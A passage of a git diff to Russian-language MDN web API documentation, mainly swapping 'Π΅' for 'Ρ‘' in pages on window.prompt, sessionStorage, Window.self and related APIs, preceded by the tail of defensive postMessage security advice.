Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ, ΠΈ Ρƒ вас Π½Π΅Ρ‚ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΠΈ, Ρ‡Ρ‚ΠΎ нСизвСстный ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅Π»ΡŒ Π½Π΅ ΠΏΠΎΡˆΠ»Ρ‘Ρ‚ врСдоносныС сообщСния. Однако Π΄Π°ΠΆΠ΅ Ссли ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅Π»ΡŒ извСстСн, Π²Π°ΠΌ всС Ρ€Π°Π²Π½ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ всСгда ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π°Ρ‚ΡŒ синтаксис ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌΠΎΠ³ΠΎ сообщСния. Π˜Π½Π°Ρ‡Π΅, Π΄Ρ‹Ρ€Π° Π² бСзопасности сайта, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π²Ρ‹ довСряСтС, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π΄Ρ‹Ρ€Ρƒ для мСТсайтового скриптинга Π½Π° вашСм сайтС.</p>
<p><strong>ВсСгда ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚ΠΈΠ·ΠΈΡ€ΡƒΠΉΡ‚Π΅ Ρ†Π΅Π»Π΅Π²ΠΎΠΉ пСрвоисточник, Π° Π½Π΅ просто <code>*</code>, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅Β <code>postMessage</code> для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΎΠΊΠ½Π°ΠΌ. ВрСдоносный сайт ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π»ΠΎΠΊΠ°Ρ†ΠΈΡŽ ΠΎΠΊΠ½Π° Π±Π΅Π· вашСго Π²Π΅Π΄ΠΎΠΌΠ° ΠΈ Π·Π°Ρ‚Π΅ΠΌΒ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, посылаСмыС с использованиСм </strong><code>postMessage</code>.</p>
diff --git a/files/ru/web/api/window/prompt/index.html b/files/ru/web/api/window/prompt/index.html
index 14c240a49a..643ae4685e 100644
--- a/files/ru/web/api/window/prompt/index.html
+++ b/files/ru/web/api/window/prompt/index.html
@@ -32,7 +32,7 @@ var sign = prompt(); // открываСтся пустоС окошко
var sign = window.prompt('Are you feeling lucky'); // открываСтся окошко с тСкстом "Are you feeling lucky"
var sign = window.prompt('Are you feeling lucky', 'sure'); // открываСтся окошко с тСкстом "Are you feeling lucky" ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ "sure"</pre>
-<p>Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒΒ OK, функция Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ тСкст, Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π² ΠΏΠΎΠ»Π΅. Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒΒ OK, Π±Π΅Π· Π²Π²ΠΎΠ΄Π° ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ тСкста - возвращаСтся пустая строка. Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒ Cancel, Ρ‚ΠΎ функция Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>null</code>.</p>
+<p>Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒΒ OK, функция Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ тСкст, Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π² ΠΏΠΎΠ»Π΅. Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒΒ OK, Π±Π΅Π· Π²Π²ΠΎΠ΄Π° ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ тСкста - возвращаСтся пустая строка. Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒ Cancel, Ρ‚ΠΎ функция Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>null</code>.</p>
<p>Π’Ρ‹ΡˆΠ΅ΠΎΠΏΠΈΡΠ°Π½Π½Ρ‹ΠΉ prompt Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ (Π²Β Chrome Π½Π°Β OSΒ X):</p>
@@ -40,7 +40,7 @@ var sign = window.prompt('Are you feeling lucky', 'sure'); // ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚
<h2 id="Notes" name="Notes">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ</h2>
-<p>prompt диалог содСрТит однострочноС тСкстовоС ΠΏΠΎΠ»Π΅, ΠΊΠ½ΠΎΠΏΠΊΡƒ Cancel ΠΈ ΠΊΠ½ΠΎΠΏΠΊΡƒ OK, ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ (Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ пустой) тСкст Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π² тСкстовоС ΠΏΠΎΠ»Π΅.</p>
+<p>prompt диалог содСрТит однострочноС тСкстовоС ΠΏΠΎΠ»Π΅, ΠΊΠ½ΠΎΠΏΠΊΡƒ Cancel ΠΈ ΠΊΠ½ΠΎΠΏΠΊΡƒ OK, ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ (Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ пустой) тСкст Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π² тСкстовоС ΠΏΠΎΠ»Π΅.</p>
<p><span class="comment">The following text is shared between this article, DOM:window.confirm and DOM:window.alert</span>Π”ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²Ρ‹Π΅ ΠΎΠΊΠ½Π° ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΌΠΎΠ΄Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ; ΠΎΠ½ΠΈ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‚ доступ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΊ ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΌΡƒ интСрфСйсу ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, ΠΏΠΎΠΊΠ° Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΠΎ. По этой ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅ Π²Ρ‹Β Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π»ΠΎΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡ‚ΡŒ функциями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅Β ΠΎΠΊΠ½ΠΎΒ (ΠΈΠ»ΠΈ модальноС окно).</p>
diff --git a/files/ru/web/api/window/requestanimationframe/index.html b/files/ru/web/api/window/requestanimationframe/index.html
index e0a03b8dad..ae4dfb12d5 100644
--- a/files/ru/web/api/window/requestanimationframe/index.html
+++ b/files/ru/web/api/window/requestanimationframe/index.html
@@ -51,7 +51,7 @@ window.requestAnimationFrame(step);</pre>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</h2>
-<p>Π’ Edge Π²Π΅Ρ€ΡΠΈΡΡ…Β ΠΌΠ»Π°Π΄ΡˆΠ΅ 17 ΠΈ Π² Internet ExplorerΒ Π½Π΅ Π½Π°Π΄Π΅ΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ <code>requestAnimationFrame</code> ΠΏΠ΅Ρ€Π΅Π΄ Ρ†ΠΈΠΊΠ»ΠΎΠΌ рисования.</p>
+<p>Π’ Edge Π²Π΅Ρ€ΡΠΈΡΡ…Β ΠΌΠ»Π°Π΄ΡˆΠ΅ 17 ΠΈ Π² Internet ExplorerΒ Π½Π΅ Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ <code>requestAnimationFrame</code> ΠΏΠ΅Ρ€Π΅Π΄ Ρ†ΠΈΠΊΠ»ΠΎΠΌ рисования.</p>
<h2 id="Specification" name="Specification">БпСцификация</h2>
diff --git a/files/ru/web/api/window/self/index.html b/files/ru/web/api/window/self/index.html
index 327e29d143..b564cfc1d4 100644
--- a/files/ru/web/api/window/self/index.html
+++ b/files/ru/web/api/window/self/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Window/self
---
<p>{{ APIRef() }}</p>
-<p>Бвойство <code><strong>Window.self</strong></code> доступно Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния ΠΈΒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ window Π² Π²ΠΈΠ΄Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β {{domxref("WindowProxy")}}. Для доступа ΠΊ данному свойству возмоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‡Π΅Ρ‡Π½ΡƒΡŽ Π½ΠΎΡ‚Π°Ρ†ΠΈΡŽ ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>window</code>Β (<code>window.self</code>) ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>self</code>. ΠŸΡ€Π΅ΠΈΠΌΡƒΡ‰Π΅ΡΡ‚Π²ΠΎ доступа Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>self</code>Β Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π΅Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² окруТСниях, Π²Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½Π΅Ρ‚ window, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β {{domxref("Worker", "Web Workers")}}. ИспользованиС <code>self</code>Β Π΄Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² окруТСниях Π³Π΄Π΅ Π΅ΡΡ‚ΡŒ window (Π² Ρ‚Π°ΠΊΠΎΠΌ случаС <code>self</code> эквивалСнтна <code>window.self</code>), Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ Π² Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°Ρ…Β (Π² случаС Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°Β <code>self</code> эквивалСнтна {{domxref("WorkerGlobalScope.self")}}).</p>
+<p>Бвойство <code><strong>Window.self</strong></code> доступно Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния ΠΈΒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ window Π² Π²ΠΈΠ΄Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β {{domxref("WindowProxy")}}. Для доступа ΠΊ данному свойству возмоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‡Π΅Ρ‡Π½ΡƒΡŽ Π½ΠΎΡ‚Π°Ρ†ΠΈΡŽ ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>window</code>Β (<code>window.self</code>) ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>self</code>. ΠŸΡ€Π΅ΠΈΠΌΡƒΡ‰Π΅ΡΡ‚Π²ΠΎ доступа Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>self</code>Β Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π΅Ρ‘ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² окруТСниях, Π²Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½Π΅Ρ‚ window, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β {{domxref("Worker", "Web Workers")}}. ИспользованиС <code>self</code>Β Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² окруТСниях Π³Π΄Π΅ Π΅ΡΡ‚ΡŒ window (Π² Ρ‚Π°ΠΊΠΎΠΌ случаС <code>self</code> эквивалСнтна <code>window.self</code>), Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ Π² Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°Ρ…Β (Π² случаС Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°Β <code>self</code> эквивалСнтна {{domxref("WorkerGlobalScope.self")}}).</p>
<h2 id="Notes" name="Notes">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/api/window/sessionstorage/index.html b/files/ru/web/api/window/sessionstorage/index.html
index 787b2f308d..720db502de 100644
--- a/files/ru/web/api/window/sessionstorage/index.html
+++ b/files/ru/web/api/window/sessionstorage/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Window/sessionStorage
---
<p>{{APIRef()}}</p>
-<p><code><font face="Open Sans, Arial, sans-serif">Бвойство </font>sessionStorage</code> позволяСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΡƒΒ {{domxref("Storage")}} Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ сСссии. Бвойство sessionStorage ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° свойство {{domxref("Window.localStorage")}}, СдинствСнноС Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ всС Π΄Π°Π½Π½Ρ‹Π΅, сохранСнныС Π²Β localStorage Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΆΠΈΠ·Π½ΠΈ, Π° Π΄Π°Π½Π½Ρ‹Π΅ Π²Β sessionStorage ΠΎΡ‡ΠΈΡ‰Π°ΡŽΡ‚ΡΡ Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ окончания сСссии Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ страницы. БСссия страницы остаСтся Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ всС врСмя ΠΏΠΎΠΊΠ° ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎ ΠΈ сохраняСтся ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ°ΠΌΠΈ страниц.Β <strong>ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ Ρ‚ΠΎΠΉ ΠΆΠ΅ страницы Π² Π½ΠΎΠ²ΠΎΠΌ ΠΎΠΊΠ½Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈΠ»ΠΈ Π½ΠΎΠ²ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ созданию Π½ΠΎΠ²ΠΎΠΉ сСссии страницы, </strong>Ρ‡Ρ‚ΠΎ отличаСтся ΠΎΡ‚ повСдСния session cookies<strong>.</strong></p>
+<p><code><font face="Open Sans, Arial, sans-serif">Бвойство </font>sessionStorage</code> позволяСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΡƒΒ {{domxref("Storage")}} Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ сСссии. Бвойство sessionStorage ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° свойство {{domxref("Window.localStorage")}}, СдинствСнноС Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ всС Π΄Π°Π½Π½Ρ‹Π΅, сохранённыС Π²Β localStorage Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΆΠΈΠ·Π½ΠΈ, Π° Π΄Π°Π½Π½Ρ‹Π΅ Π²Β sessionStorage ΠΎΡ‡ΠΈΡ‰Π°ΡŽΡ‚ΡΡ Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ окончания сСссии Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ страницы. БСссия страницы остаётся Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ всС врСмя ΠΏΠΎΠΊΠ° ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎ ΠΈ сохраняСтся ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ°ΠΌΠΈ страниц.Β <strong>ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ Ρ‚ΠΎΠΉ ΠΆΠ΅ страницы Π² Π½ΠΎΠ²ΠΎΠΌ ΠΎΠΊΠ½Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈΠ»ΠΈ Π½ΠΎΠ²ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ созданию Π½ΠΎΠ²ΠΎΠΉ сСссии страницы, </strong>Ρ‡Ρ‚ΠΎ отличаСтся ΠΎΡ‚ повСдСния session cookies<strong>.</strong></p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -25,7 +25,7 @@ var data = sessionStorage.getItem('key');</pre>
<pre class="brush: js">sessionStorage.setItem('myCat', 'Tom');</pre>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ автоматичСски сохраняСт содСрТимоС тСкстового поля. Если страница случайно Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅  тСкстового поля Π±ΡƒΠ΄Π΅Ρ‚ восстановлСно. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π½ΠΈΡ‡Π΅Π³ΠΎ ΠΈΠ· Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π½Π΅ потСряСтся Π΄Π°ΠΆΠ΅ Π² этом случаС.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ автоматичСски сохраняСт содСрТимоС тСкстового поля. Если страница случайно Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅  тСкстового поля Π±ΡƒΠ΄Π΅Ρ‚ восстановлСно. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π½ΠΈΡ‡Π΅Π³ΠΎ ΠΈΠ· Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π½Π΅ потСряСтся Π΄Π°ΠΆΠ΅ Π² этом случаС.</p>
<pre class="brush: js">// ΠŸΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ссылку Π½Π° тСкстовоС ΠΏΠΎΠ»Π΅,
// ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅ΠΌ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ.
diff --git a/files/ru/web/api/window/unhandledrejection_event/index.html b/files/ru/web/api/window/unhandledrejection_event/index.html
index c32838dc9c..cd1996b7b2 100644
--- a/files/ru/web/api/window/unhandledrejection_event/index.html
+++ b/files/ru/web/api/window/unhandledrejection_event/index.html
@@ -4,7 +4,7 @@ slug: Web/API/Window/unhandledrejection_event
translation_of: Web/API/Window/unhandledrejection_event
original_slug: Web/Events/unhandledrejection
---
-<p>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β <strong><code>unhandledrejection</code></strong> происходит,Β ΠΊΠΎΠ³Π΄Π° {{jsxref("Promise")}} Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ с ошибкой, Π½ΠΎ Π½Π° Π΄Π°Π½Π½ΡƒΡŽ ΠΎΡˆΠΈΠ±ΠΊΡƒ Π½Π΅ установлСн ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ.</p>
+<p>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β <strong><code>unhandledrejection</code></strong> происходит,Β ΠΊΠΎΠ³Π΄Π° {{jsxref("Promise")}} Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½ с ошибкой, Π½ΠΎ Π½Π° Π΄Π°Π½Π½ΡƒΡŽ ΠΎΡˆΠΈΠ±ΠΊΡƒ Π½Π΅ установлСн ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ.</p>
<table class="properties">
<tbody>
@@ -37,7 +37,7 @@ original_slug: Web/Events/unhandledrejection
<h2 id="Inheritance">Inheritance</h2>
-<p>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β <code>unhandledrejection</code>Β Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚Β {{domxref("PromiseRejectionEvent")}} интСрфСйс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ наслСдуСтся ΠΎΡ‚ {{domxref("Event")}}. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойства ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π² Π΄Π°Π½Π½Ρ‹Ρ… интСрфСйсах.</p>
+<p>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β <code>unhandledrejection</code>Β Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚Β {{domxref("PromiseRejectionEvent")}} интСрфСйс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ наслСдуСтся ΠΎΡ‚ {{domxref("Event")}}. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойства ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π² Π΄Π°Π½Π½Ρ‹Ρ… интСрфСйсах.</p>
<p>{{InheritanceDiagram('','','', 'PromiseRejectionEvent')}}</p>
diff --git a/files/ru/web/api/windoweventhandlers/onpopstate/index.html b/files/ru/web/api/windoweventhandlers/onpopstate/index.html
index 62d82bd693..049f842c4f 100644
--- a/files/ru/web/api/windoweventhandlers/onpopstate/index.html
+++ b/files/ru/web/api/windoweventhandlers/onpopstate/index.html
@@ -38,7 +38,7 @@ history.back(); // alerts "location: http://example.com/example.html, state: nul
history.go(2); // alerts "location: http://example.com/example.html?page=3, state: {"page":3}
</pre>
